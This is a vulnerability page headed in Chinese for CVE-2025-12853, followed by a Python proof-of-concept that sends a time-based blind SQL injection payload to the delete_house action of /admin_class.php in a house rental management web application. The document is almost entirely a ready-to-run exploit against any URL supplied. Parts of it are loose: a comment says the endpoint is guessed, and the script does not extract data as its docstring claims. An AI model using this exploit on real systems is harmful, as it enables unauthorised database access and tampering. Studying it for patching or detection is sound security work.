CVE-2025-12853 SourceCodester Best House Rental Management System SQL注入漏洞

import requests import sys # CVE-2025-12853 SQL Injection PoC # Target: SourceCodester Best House Rental Management System 1.0 # Vulnerability: SQL Injection in /admin_class.php delete_house function def exploit_sqli(target_url, house_id): """ Exploit SQL injection vulnerability in delete_house function This PoC demonstrates time-based blind SQL injection """ # Time-based blind SQL injection payload # Extract database version information using sleep() function payload = f"1' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE SLEEP(0) END) AND '1'='1" # Target endpoint - adjust based on actual application structure endpoint = f"{target_url}/admin_class.php" params = { 'id': payload, 'action': 'delete_house' } try: print(f"[*] Sending malicious request to {endpoint}") print(f"[*] Payload: {payload}") response = requests.post(endpoint, data=params, timeout=10) if response.elapsed.total_seconds() >= 5: print("[+] SQL Injection confirmed! Server response delayed by 5 seconds.") return True else: print("[-] No SQL injection detected or target not vulnerable") return False except requests.exceptions.Timeout: print("[+] SQL Injection confirmed! Request timed out as expected.") return True except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <house_id>") print(f"Example: python {sys.argv[0]} http://localhost 1") sys.exit(1) target = sys.argv[1] house_id = sys.argv[2] exploit_sqli(target, house_id)